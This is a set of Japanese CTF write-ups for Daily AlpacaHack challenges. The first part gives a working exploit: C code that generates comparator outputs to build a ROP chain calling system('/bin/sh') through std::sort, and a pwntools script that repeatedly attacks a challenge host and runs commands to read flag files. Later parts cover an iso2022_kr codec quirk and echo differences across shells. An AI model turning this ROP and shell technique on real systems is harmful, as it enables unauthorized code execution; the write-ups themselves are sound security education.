rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllllllllllllllllllllllllllllllllllllllllllllllllllllllllrllllllrrllllllllllllllrrllrllrllrllrllrllrllrllrllrllrllrllrllrlrrllrlrrllrllrllrlrrlrlllllrlllllllllllllllllrlrlllllllllrrrrrrllrrrlllrrlllrrllllllllrrlllrrrlrrlrrlrllrrrllrrlrrllrrlrrllrrrllrrllrrrllrlllllrrlrrlllllrrlrlrrlrrlrlrrrlrrlrlrrrrlrrlrrlrlrrlrrrrlrrlrrrllrrlrrrllrrlrlrlrrlllrlrrrllrrlrrrllrllrrrlrlllrrrlrrrlrrrlrrllrrrlrlrlrrrllllrrrrlrrlrrrrlrllrrrrllrrlrrrrrlrlrrrrrrrlrrrrrrllrrrrrlllrrrrrlrlrrrllrlrrlllllrlllrrlllllrrllllrllllllrrrllllrrlrllllrrllllllrlllrlrrlllrlrllllrllrrlllrrlllllrrrrlllrrrllllrrrrrllllllllrllrrlllrrllrlllrllrllrllrlrllrrrlrllrllrrlrllrlllrlrrrrrrlrlrrrrlrrllllrlrrllrrlrrllrllrrllrrlrrrrlrlrrllrrlrllrrllllrlrllrllrllrlllllrlrlllrlrrllrlllrllrlrrrlllllrrlrlrrllrllrlrrllrrlrlrlllllrllrlllrrlllrlrlllrrlrrllrlllrlrrlrllllllrlllrrlllrrrllllrrlrlrllrrrrllllrrlrrrlrrlrrrlrllrrrlrrrlrrrrlrlrrrrrrlrrrrrllrrrrlllrrrrlrlrrrrrllrlrlrllllrlllllllllrlllllrrrlllrlllllrrlllrrrllrlrlllrlrlllrlrrrlrlllllrrlrrllrrlrlrllrrllrrrrllrrllrllrllrlllrlrllrllrlrrrlrlrrlllrlllrlrrrlrrlrlllrlrlrrlllrrrlllrrrlrlrrrllrlrrlllllrrlrrlrlllllllrrrlllrlllrllrllrrllrrlrlrlrrlrllrllrllrllrlrrrrlllllrrrllrrlrlrrrrlllrllllllrrllrllrrllrrrlrlrlrlllrlrlllrlrrlllrlrllllllllllllllllllllllllllllllllllllllllllllll を与えます。

実際、1000 回程度の試行でヒットし、フラグが得られました。 Alpaca{g00d_c0mpar1s0n_y0ur3_f1r3d} 💫

write-up を書くにあたってもう一度試したところ、5000 回くらいかかりました。その頃には spawner 形式になっていました。

   1 b".:\nflag-05d2b49fed6a6415597cae664a8e315b.txt\nrun\n\n/:\napp\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\nAlpaca{g00d_c0mpar1s0n_y0ur3_f1r3d}\ncat: '/fl*': No such file or directory\n"
   3 b"run: ../../../../../src/libstdc++-v3/src/c++17/ryu/common.h:57: int32_t {anonymous}::ryu::pow5bits(int32_t): Assertion `e >= 0' failed.\n"
   2 b"terminate called after throwing an instance of '__gnu_cxx::__concurrence_unlock_error'\n  what():  __gnu_cxx::__concurrence_unlock_error\n"
   1 b"terminate called after throwing an instance of 'std::__ios_failure'\n  what():  \x988\xd8O\xe9\x7f: iostream error\n"
   1 b"terminate called after throwing an instance of 'std::__ios_failure'\n  what():  \x988\xd8\t\xd5\x7f: iostream error\n"
   1 b"terminate called after throwing an instance of 'std::__ios_failure'\n  what():  \x988\xd8\x81\x17\x7f: iostream error\n"
   1 b"terminate called after throwing an instance of 'std::bad_alloc'\n  what():  std::bad_alloc\n"
   1 b'Fatal glibc error: ../stdlib/strtod_l.c:1357 (____wcstod_l_internal): assertion failed: dig_no > int_no && exponent <= 0 && exponent >= MIN_10_EXP - (DIG + 2)\n'
   1 b'Fatal glibc error: XXX-lookup.c:60 (__nss_netgroup_lookup2): assertion failed: *ni != NULL\n'
   2 b'Fatal glibc error: nss_module.c:341 (__nss_module_get_function): assertion failed: name_entry != NULL\n'
   1 b'Unexpected error 9 on netlink descriptor 373903000.\n'
   1 b'\x98h\xc0I8\x7f'
   1 b'\x98h\xc0\xb7C\x7f'
   1 b'\x98h\xc0rM\x7f'
   2 b'free(): invalid pointer\n'
   4 b'Illegal status in __nss_next.\n'
   3 b'free(): invalid pointer\n'
  51 b'*** stack smashing detected ***: terminated\n'
4938 b''

さまざまなエラーメッセージが見られて面白いです。ちょこちょこある \x988\xd8O\xe9\x7f\x98h\xc0I8\x7f のようなものは、libc とかのアドレスだろうなと思います。abort しているので leak できてもあまりうれしくない気はします。fork 系の問題だとうれしいかもしれません。

コード

gen.c

#include <limits.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>

typedef char* RAIter;
typedef RAIter Iter;

// clang-format off
int pp[0xa0] = {
    0x48, 0x49, 0x4a, 0x50, 0x51, 0x52, 0x60, 0x61, // 0x00: input
    0x62, 0x68, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, // 0x08: input
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, // 0x10: input
    0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, // 0x18: input
    0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, // 0x20:
    0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, // 0x28: canary
    0x30, 0x31, 0x32, 0x53, 0x54, 0x55, 0x56, 0x57, // 0x30:
    0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, // 0x38:
    0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, // 0x40:
    0x00, 0x01, 0x02, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, // 0x48: pop %rdi; ret
    0x03, 0x04, 0x05, 0x33, 0x34, 0x35, 0x36, 0x37, // 0x50: "/bin/sh"
    0x09, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, // 0x58: ret
    0x06, 0x07, 0x08, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f, // 0x60: system
    0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, // 0x68:
    0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, // 0x70:
    0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, // 0x78:
    0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x80:
    0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, // 0x88:
    0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, // 0x90:
    0x98, 0x99, 0x9a, 0x63, 0x64, 0x65, 0x66, 0x67, // 0x98:
};
// clang-format on
int pos[0xa0] = {};

RAIter global_first = NULL;
_Bool cheat_increment_first = false;

_Bool f(RAIter x, RAIter y) {
  if (cheat_increment_first) {
    return (x - global_first) < 0xa0;
  }
  return pos[*(unsigned char*)x] < pos[*(unsigned char*)y];
}

_Bool comp(RAIter lhs, RAIter rhs) {
  _Bool yn = f(lhs, rhs);
  printf("%c", yn ? 'r' : 'l');

  return yn;
}
_Bool val_comp_iter(char lhs, RAIter rhs) { return comp(&lhs, rhs); }
_Bool iter_comp_val(RAIter lhs, char rhs) { return comp(lhs, &rhs); }
void iter_swap(Iter lhs, Iter rhs) {
  char tmp = *lhs;
  *lhs = *rhs;
  *rhs = tmp;
}

void sort(RAIter first, RAIter last);

long lg(long n);
void sort_heap(RAIter first, RAIter last);
void make_heap(RAIter first, RAIter last);
void pop_heap(RAIter first, RAIter last, RAIter result);
void push_heap(RAIter first, long holeIndex, long topIndex, char value);
RAIter move_backward(RAIter first, RAIter lsat, RAIter d_last);

void introsort_loop(RAIter first, RAIter last, long depth_limit);
void partial_sort(RAIter first, RAIter middle, RAIter last);
void heap_select(RAIter first, RAIter middle, RAIter last);
RAIter unguarded_partition_pivot(RAIter first, RAIter last);
void move_median_to_first(Iter result, Iter a, Iter b, Iter c);
RAIter unguarded_partition(RAIter first, RAIter last, RAIter pivot);
void final_insertion_sort(RAIter first, RAIter last);
void unguarded_insertion_sort(RAIter first, RAIter last);
void unguarded_linear_insert(RAIter last);
void insertion_sort(RAIter first, RAIter last);
void adjust_heap(RAIter first, long holeIndex, long len, char value);

void sort(RAIter first, RAIter last) {
  if (first != last) {
    introsort_loop(first, last, lg(last - first) * 2);
    final_insertion_sort(first, last);
  }
}

long lg(long n) {
  const int sz = sizeof(+n);
  int w = sz * CHAR_BIT - 1;
  w -= __builtin_clzl(+n);
  return w;
}

void sort_heap(RAIter first, RAIter last) {
  while (last - first > 1) {
    --last;
    pop_heap(first, last, last);
  }
}

void make_heap(RAIter first, RAIter last) {
  if (last - first < 2) {
    return;
  }
  const long len = last - first;
  long parent = (len - 2) / 2;
  while (true) {
    char value = *(first + parent);
    adjust_heap(first, parent, len, value);
    if (parent == 0) {
      return;
    }
    parent--;
  }
}

void pop_heap(RAIter first, RAIter last, RAIter result) {
  char value = *result;
  *result = *first;
  adjust_heap(first, 0, last - first, value);
}

void push_heap(RAIter first, long holeIndex, long topIndex, char value) {
  long parent = (holeIndex - 1) / 2;
  while (holeIndex > topIndex && iter_comp_val(first + parent, value)) {
    *(first + holeIndex) = *(first + parent);
    holeIndex = parent;
    parent = (holeIndex - 1) / 2;
  }
  *(first + holeIndex) = value;
}

RAIter move_backward(RAIter first, RAIter last, RAIter d_last) {
  while (first != last) {
    *--d_last = *--last;
  }
  return d_last;
}

enum { S_threshold = 16 };

void introsort_loop(RAIter first, RAIter last, long depth_limit) {
  while (last - first > (int)(S_threshold)) {
    if (depth_limit == 0) {
      partial_sort(first, last, last);
      return;
    }
    --depth_limit;
    RAIter cut = unguarded_partition_pivot(first, last);
    introsort_loop(cut, last, depth_limit);
    last = cut;
  }
}

void partial_sort(RAIter first, RAIter middle, RAIter last) {
  heap_select(first, middle, last);
  sort_heap(first, middle);
}

void heap_select(RAIter first, RAIter middle, RAIter last) {
  make_heap(first, middle);
  for (RAIter i = middle; i < last; ++i) {
    if (comp(i, first)) {
      pop_heap(first, middle, i);
    }
  }
}

RAIter unguarded_partition_pivot(RAIter first, RAIter last) {
  RAIter mid = first + (last - first) / 2;
  move_median_to_first(first, first + 1, mid, last - 1);
  return unguarded_partition(first + 1, last, first);
}

void move_median_to_first(Iter result, Iter a, Iter b, Iter c) {
  if (comp(a, b)) {
    if (comp(b, c)) {
      iter_swap(result, b);
    } else if (comp(a, c)) {
      iter_swap(result, c);
    } else {
      iter_swap(result, a);
    }
  } else if (comp(a, c)) {
    iter_swap(result, a);
  } else if (comp(b, c)) {
    iter_swap(result, c);
  } else {
    iter_swap(result, b);
  }
}

RAIter unguarded_partition(RAIter first, RAIter last, RAIter pivot) {
  while (true) {
    cheat_increment_first = (first == global_first + 1);
    while (comp(first, pivot)) {
      ++first;
    }
    cheat_increment_first = false;
    --last;
    while (comp(pivot, last)) {
      --last;
    }
    if (!(first < last)) {
      return first;
    }
    iter_swap(first, last);
    ++first;
  }
}

void final_insertion_sort(RAIter first, RAIter last) {
  if (last - first > (int)(S_threshold)) {
    insertion_sort(first, first + (int)(S_threshold));
    unguarded_insertion_sort(first + (int)(S_threshold), last);
  } else {
    insertion_sort(first, last);
  }
}

void unguarded_insertion_sort(RAIter first, RAIter last) {
  for (RAIter i = first; i != last; ++i) {
    unguarded_linear_insert(i);
  }
}

void unguarded_linear_insert(RAIter last) {
  char val = *last;
  RAIter next = last;
  --next;
  while (val_comp_iter(val, next)) {
    *last = *next;
    last = next;
    --next;
  }
  *last = val;
}

void insertion_sort(RAIter first, RAIter last) {
  if (first == last)
    return;

  for (RAIter i = first + 1; i != last; ++i) {
    if (comp(i, first)) {
      char val = *i;
      move_backward(first, i, i + 1);
      *first = val;
    } else {
      unguarded_linear_insert(i);
    }
  }
}

void adjust_heap(RAIter first, long holeIndex, long len, char value) {
  long topIndex = holeIndex;
  long secondChild = holeIndex;
  while (secondChild < (len - 1) / 2) {
    secondChild = 2 * (secondChild + 1);
    if (comp(first + secondChild, first + (secondChild - 1))) {
      secondChild--;
    }
    *(first + holeIndex) = *(first + secondChild);
    holeIndex = secondChild;
  }
  if ((len & 1) == 0 && secondChild == (len - 2) / 2) {
    secondChild = 2 * (secondChild + 1);
    *(first + holeIndex) = *(first + (secondChild - 1));
    holeIndex = secondChild - 1;
  }
  push_heap(first, holeIndex, topIndex, value);
}

int main(void) {
  enum { n = 0x100, m = 0x20 };
  char a[n] = {};
  for (int i = 0; i < n; ++i) {
    a[i] = (char)i;
  }

  for (int i = 0; i < 0xa0; ++i) {
    pos[pp[i]] = i;
  }

  global_first = &a[0];
  sort(a, a + m);

  puts("");
  fflush(stdout);
  for (int i = 0; i < 0xa0; ++i) {
    volatile unsigned char x = a[i];
    printf("a[0x%02X] = 0x%02X (%d)\n", i, x, x == pp[i]);
  }
}

exploit.py

from time import sleep

from pwn import *


def nc(nc_comm):
    nc_argv0, host, port = nc_comm.split()
    return remote(host, int(port))


comp = "llrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrlrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrllllllllllllllllllllllllllllllllllllllllllllllllllllllllrllllllrrllllllllllllllrrllrllrllrllrllrllrllrllrllrllrllrllrllrlrrllrlrrllrllrllrlrrlrlllllrlllllllllllllllllrlrlllllllllrrrrrrllrrrlllrrlllrrllllllllrrlllrrrlrrlrrlrllrrrllrrlrrllrrlrrllrrrllrrllrrrllrlllllrrlrrlllllrrlrlrrlrrlrlrrrlrrlrlrrrrlrrlrrlrlrrlrrrrlrrlrrrllrrlrrrllrrlrlrlrrlllrlrrrllrrlrrrllrllrrrlrlllrrrlrrrlrrrlrrllrrrlrlrlrrrllllrrrrlrrlrrrrlrllrrrrllrrlrrrrrlrlrrrrrrrlrrrrrrllrrrrrlllrrrrrlrlrrrllrlrrlllllrlllrrlllllrrllllrllllllrrrllllrrlrllllrrllllllrlllrlrrlllrlrllllrllrrlllrrlllllrrrrlllrrrllllrrrrrllllllllrllrrlllrrllrlllrllrllrllrlrllrrrlrllrllrrlrllrlllrlrrrrrrlrlrrrrlrrllllrlrrllrrlrrllrllrrllrrlrrrrlrlrrllrrlrllrrllllrlrllrllrllrlllllrlrlllrlrrllrlllrllrlrrrlllllrrlrlrrllrllrlrrllrrlrlrlllllrllrlllrrlllrlrlllrrlrrllrlllrlrrlrllllllrlllrrlllrrrllllrrlrlrllrrrrllllrrlrrrlrrlrrrlrllrrrlrrrlrrrrlrlrrrrrrlrrrrrllrrrrlllrrrrlrlrrrrrllrlrlrllllrlllllllllrlllllrrrlllrlllllrrlllrrrllrlrlllrlrlllrlrrrlrlllllrrlrrllrrlrlrllrrllrrrrllrrllrllrllrlllrlrllrllrlrrrlrlrrlllrlllrlrrrlrrlrlllrlrlrrlllrrrlllrrrlrlrrrllrlrrlllllrrlrrlrlllllllrrrlllrlllrllrllrrllrrlrlrlrrlrllrllrllrllrlrrrrlllllrrrllrrlrlrrrrlllrllllllrrllrllrrllrrrlrlrlrlllrlrlllrlrrlllrlrllllllllllllllllllllllllllllllllllllllllllllll"

a = flat(
    bytes([0x8B, 0x97, 0xC3]),  # pop %rdi; ret in libc
    bytes([0x2F, 0x54, 0xCF]),  # "/bin/sh" in libc
    bytes([0x50, 0x27, 0xB8]),  # system in libc
    bytes([0x18]),  # ret in main
    bytes([0x61] * (0x20 - 10)),
)

i = 0
while True:
    print(i)
    i += 1
    with nc("nc 34.170.146.252 28412") as p:
        p.sendline(a + comp.encode())
        sleep(1)
        p.sendline(b"ls . /; cat fl*; cat /fl*; exit")
        try:
            resp = p.recvall(1)
            print(resp)
        except EOFError:
            continue

あとがき

std::sort() となかよくという感じで面白かったです。よくわからなかった部分は今後の宿題とします。

twitter.com

twitter.com

来週末にまたえびちゃんの問題が A-SIDE に出ると聞いているので、そちらもよろしくお願いします。

おわり

おわりです。

Writeup for EncodeDecode, Daily AlpacaHack 2026/3/28

Daily AlpacaHack 2026/3/28 の write-up です。

alpacahack.com

解法

下手なエンコーディング方式あるあるとして、encode(x) == x かつ decode(x) != x となるような x がありそうです。 それはそれとして、探すの大変そうだな〜という気持ちになったので、「あったらいいな〜」という気持ちで問題文通りに全探索をしました。

listcodecs を参考にして、1 バイトの例を全探索しました。

search.py

import codecs
import encodings
import os

for name in os.listdir(encodings.__path__[0]):
    name = name[:-3]
    try:
        codecs.lookup(name)
        "".encode(name)
    except (LookupError, UnicodeError):
        continue

    for i in range(128):
        c = chr(i)
        try:
            if c.encode(name).decode(name) != c:
                print(name, repr(c), i)
        except (UnicodeEncodeError, UnicodeError):
            continue

iso2022_kr '\x0e' 14
iso2022_kr '\x0f' 15

理由はよくわからないですがこういう例があるらしいです。

>>> b'\x0e'.decode('iso2022_kr')
''
>>> b'\x0e'.decode('iso2022_jp')
'\x0e'
% echo -n '\x0e' | iconv -f ISO-2022-KR | xxd
#> iconv: (stdin):1:0: cannot convert
% echo -n '\x0e' | iconv -f ISO-2022-JP | xxd
#> 00000000: 0e                                       .

ということで、\x0e を送ればいいわけです。特殊な文字が 1 文字程度であれば pwntools とかで通信するよりも直接打つ方が楽なので、そうしちゃいます。

% nc 34.170.146.252 51958
#> text> ^N
#> encoding> iso2022_kr
#> Check failed - !?
#> Here is your flag: Alpaca{w0w_th1s_a55umpt10n_was_fa1se_7oo}

^N の部分は C-n とか C-v C-n とかで入力します。 Alpaca{w0w_th1s_a55umpt10n_was_fa1se_7oo} 👏

あとがき

深掘って調べようと思いましたが時間と気力が足りなかったので投げ出しました。 CRC-256 の author’s write-up もまだ書き切れていないし、他に書きたい記事も進んでいないし、その他やらなきゃなこともやっていないし、だらだらとテトリスをして遊んでいます。あ〜〜 🙄

おわり

おわりです。

Writeup for Haec Horrenda, Daily AlpacaHack B-SIDE 2026/3/19

Daily AlpacaHack B-SIDE 2026/3/19–2026/3/22 の author’s write-up です。

alpacahack.com

導入

echo というコマンドがあります。 基本的な用途としては、引数で指定した文字列をそのまま表示させるものですが、引数として渡すオプションが存在しているため、工夫なしには表示できないような文字列もあります。他にも、特殊な文字列(エスケープシーケンス)を与えると、そのままの文字列の代わりにその文字列を解釈した結果が表示されます。

また、echo にはシェルの組み込み関数として用意されているものや、外部コマンド(シェルの組み込み関数としてではなく独立の実行ファイルやスクリプトとして存在していて、シェルからそれを呼び出す形式のもの)として用意されているものがあります。 これらの echo には互換性がなく、また別々のシェルの echo は別々の仕様だったりもします。

ということで、こうした echo の仕様やそれぞれの違いについて学べたらいいなという趣旨の問題です。

解法例

まず、問題は 3 つのラウンドに分かれています。

  • Round 1: 特定の文字列を出力させる
  • Round 2: 同じ長さの入力から、異なる長さの文字列を出力させる
  • Round 3: 互換性のない入力を探す

Round 1 と 2 は外部コマンドの echo (GNU Coreutils)、Round 3 は Bash と Zsh の組み込みの echo と外部コマンドの echo を使っています。 それらの echo のマニュアルは下記です。必要に応じて読みましょう。

Round 1

まずは GNU Coreutils の echo です。-e--version を出力できるかな?という問題です。 単に echo -eecho --version と実行すると、前者は改行文字だけ、後者は下記の出力になってしまいます。

echo (GNU coreutils) 9.4
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by Brian Fox and Chet Ramey.

- で始まるものがオプションとして扱われてしまっているわけです。

多くのコマンドでは、 -- という引数を与えることで、それ以降の引数は - で始まっていてもオプション扱いしないという挙動になっていますが、echo ではそうはなっていません。実際、-- -e を試すと b'-- -e\n' が出力されてしまいます*1

先に示したマニュアルに次の記述があり、それを参考にするとよさそうです。

To echo the string ‘-n’, one of the characters can be escaped in either octal or hexadecimal representation. For example, echo -e '\x2dn'.

すなわち -e \x2de と与えることで通過できます。--version についても同様ですが、こちらは -e \x2d-version とせずに -e --version としても通過できます。

Round 2

マニュアルを読むと、-e で有効化できるエスケープシーケンスの中に \c というのがあって、それ以降は出力をしない (produce no further output) ということがわかります。

実際、\c...... を与えると b'' が、.\c..... を与えると b'.' が返ってくることが確かめられます。 同様の方針で ......\cb'......' までは解けるので、あとは 7 バイトのケースと 8 バイトのケースを考えればよいです。

\nnn というのがあり、文字コードを 8 進数で表したものを与えると該当の文字を出力してくれます。nnn の部分は可変長なので、うまく使えそうです。 ということで、.....\56 を与えると b'......\n'......\\ を与えると b'......\\\n' が返ってくるため、これらのケースもクリアできました。

なお、末尾の改行を出力しない -n オプションを使いつつ、オプションの文字を複数並べた場合の挙動(-ene と与えると -e -n -e と与えたのと等価になる)を利用すると、0 バイトのケースと 1 バイトのケースはそれぞれ -nnnnnnn-eeeeeee でも突破することができます。

Round 3

さて、嫌なパートです。

xkcd.com

それぞれのマニュアルを見ながら、それぞれがどのエスケープシーケンスをサポートしているかを見ていきましょう。

入力 Coreutils Bash Zsh
\\
\E
\a
\b
\c
\e
\f
\n
\r
\t
\v
\0nnn
\nnn
\xHH
\uHHHH
\UHHHHHHHH

よって、Coreutils のみが長いケース (❌ ✅ ✅)・Coreutils のみが短いケース (✅ ❌ ❌)、Bash のみが短いケース (❌ ✅ ❌) は得られるため、一旦次のようになります。

  • |bash| = |zsh| < |gnu|: -e \u0033
  • |bash| = |zsh| > |gnu|: -e \33
  • |zsh| = |gnu| < |bash|: ???
  • |zsh| = |gnu| > |bash|: -e \E
  • |gnu| = |bash| < |zsh|: ???
  • |gnu| = |bash| > |zsh|: ???

さて、Zsh のドキュメントの echo の項には次の記述があります。

[...] a single dash does terminate option processing, so the first dash, possibly following options, is not printed, but everything following it is printed as an argument. The single dash behaviour is different from other shells.

note: ここでいう dash は - のことです。

ということで - を与えると Zsh でのみ b'\n' が返り、他では b'-\n' が返ってきます。これを用いつつ他のもので調整することにより、次の解答が得られます。

  • |bash| = |zsh| < |gnu|: -e \u0033
  • |bash| = |zsh| > |gnu|: -e \33
  • |zsh| = |gnu| < |bash|: -e - \33
  • |zsh| = |gnu| > |bash|: -e \E
  • |gnu| = |bash| < |zsh|: -e \E\E\33
  • |gnu| = |bash| > |zsh|: -

あるいは、少し遊んでいると、\x を与えたときの挙動が Zsh でのみ異なることに気づきます。他のバージョンでは b'\\x' が返ってくるのに対し、Zsh では b'\x00' が返ってきます。前者が 2 バイトで後者が 1 バイトであることに注意しましょう。\\u\\U などでも同様です。

これを踏まえると、「あるシェルでは 1 バイトになるが、他のシェルでは 2 バイトになる列」というのが各シェルについて得られたことになります。

入力 Coreutils Bash Zsh
-e \1 b'\x01' (1) b'\\1' (2) b'\\1' (2)
-e \E b'\\E' (2) b'\x1b' (1) b'\\E' (2)
-e \x b'\\x' (2) b'\\x' (2) b'\x00' (1)

これらのうち二つを合わせることで、「それらのシェルでは 3 バイトになるが、残りのシェルでは 4 バイトになる列」すなわち「あるシェルでは 4 バイトになるが、他のシェルでは 3 バイトになる列」が得られます。

よって、次の解答が得られます。

  • |bash| = |zsh| < |gnu|: -e \E\x
  • |bash| = |zsh| > |gnu|: -e \1
  • |zsh| = |gnu| < |bash|: -e \1\x
  • |zsh| = |gnu| > |bash|: -e \E
  • |gnu| = |bash| < |zsh|: -e \1\E
  • |gnu| = |bash| > |zsh|: -e \x

他にも、Coreutils の --help--version を利用する解法もあります。

まとめると次のようになります。

-e \x2de
-e --version
-nnnnnnn
-eeeeeee
..\c....
...\c...
....\c..
.....\c.
......\c
.....\56
......\\
-e \E\x
-e \1
-e \1\x
-e \E
-e \1\E
-e \x

これを solution.txt とし、次のようにすることでフラグを得られます。

% nc 34.170.146.252 61688 < solution.txt

Alpaca{echo \151\163 \x61 nice program\contradicting its own name} 👏

あとがき

